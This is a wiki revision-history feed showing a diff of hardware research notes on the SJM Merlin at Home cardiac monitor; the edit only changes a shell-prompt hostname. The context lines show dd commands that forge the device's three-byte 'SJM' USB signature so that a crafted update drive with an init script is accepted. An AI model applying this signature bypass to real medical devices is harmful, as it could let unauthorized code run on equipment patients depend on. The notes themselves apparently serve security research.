<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wiki.exploitee.rs/index.php?action=history&amp;feed=atom&amp;title=SJM_Merlin_at_Home</id>
	<title>SJM Merlin at Home - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.exploitee.rs/index.php?action=history&amp;feed=atom&amp;title=SJM_Merlin_at_Home"/>
	<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;action=history"/>
	<updated>2026-05-06T15:14:00Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.0-alpha</generator>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2872&amp;oldid=prev</id>
		<title>Rjmendez at 19:21, 9 August 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2872&amp;oldid=prev"/>
		<updated>2017-08-09T19:21:23Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 19:21, 9 August 2017&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l356&quot;&gt;Line 356:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 356:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;It looks like their pendrive &amp;quot;signature&amp;quot; is fairly easy to get around.&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;It looks like their pendrive &amp;quot;signature&amp;quot; is fairly easy to get around.&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;rjmendez@&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Reggie&lt;/del&gt;:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;rjmendez@&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Rjmendez&lt;/ins&gt;:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records in&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records in&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records out&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records out&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3 bytes copied, 0.00116472 s, 2.6 kB/s&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3 bytes copied, 0.00116472 s, 2.6 kB/s&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Reggie&lt;/del&gt;:~/stjude_merlin$ hd /tmp/.sign  &lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Rjmendez&lt;/ins&gt;:~/stjude_merlin$ hd /tmp/.sign  &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000000  00 00 00                                          |...|&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000000  00 00 00                                          |...|&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000003&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000003&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Reggie&lt;/del&gt;:~/stjude_merlin$ hd .sign_mod&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Rjmendez&lt;/ins&gt;:~/stjude_merlin$ hd .sign_mod&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000000  53 4a 4d                                          |SJM|&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000000  53 4a 4d                                          |SJM|&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000003&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000003&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Reggie&lt;/del&gt;:~/stjude_merlin$ sudo dd if=.sign_mod bs=1 count=3 of=/dev/sdb1 bs=1 seek=501&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Rjmendez&lt;/ins&gt;:~/stjude_merlin$ sudo dd if=.sign_mod bs=1 count=3 of=/dev/sdb1 bs=1 seek=501&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records in&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records in&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records out&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records out&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3 bytes copied, 0.00700994 s, 0.4 kB/s&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3 bytes copied, 0.00700994 s, 0.4 kB/s&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Reggie&lt;/del&gt;:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Rjmendez&lt;/ins&gt;:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records in&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records in&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records out&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3+0 records out&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3 bytes copied, 0.00123249 s, 2.4 kB/s&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3 bytes copied, 0.00123249 s, 2.4 kB/s&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Reggie&lt;/del&gt;:~/stjude_merlin$ hd /tmp/.sign  &lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Rjmendez&lt;/ins&gt;:~/stjude_merlin$ hd /tmp/.sign  &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000000  53 4a 4d                                          |SJM|&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000000  53 4a 4d                                          |SJM|&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000003&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;00000003&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l380&quot;&gt;Line 380:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 380:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Adding the required files to the drive and a small script.&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Adding the required files to the drive and a small script.&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;rjmendez@&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Reggie&lt;/del&gt;:/media/rjmendez/7A3B-B3C6$ ls -lahR&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;rjmendez@&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Rjmendez&lt;/ins&gt;:/media/rjmendez/7A3B-B3C6$ ls -lahR&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;.:&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;.:&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;total 36K&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;total 36K&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l401&quot;&gt;Line 401:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 401:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;-rw-r--r-- 1 rjmendez rjmendez  771 May 13 18:27 upgrade_script.sh&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;-rw-r--r-- 1 rjmendez rjmendez  771 May 13 18:27 upgrade_script.sh&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Reggie&lt;/del&gt;:/media/rjmendez/7A3B-B3C6$ cat etc/init.d/upgrade_script.sh  &lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;rjmendez@&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;Rjmendez&lt;/ins&gt;:/media/rjmendez/7A3B-B3C6$ cat etc/init.d/upgrade_script.sh  &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
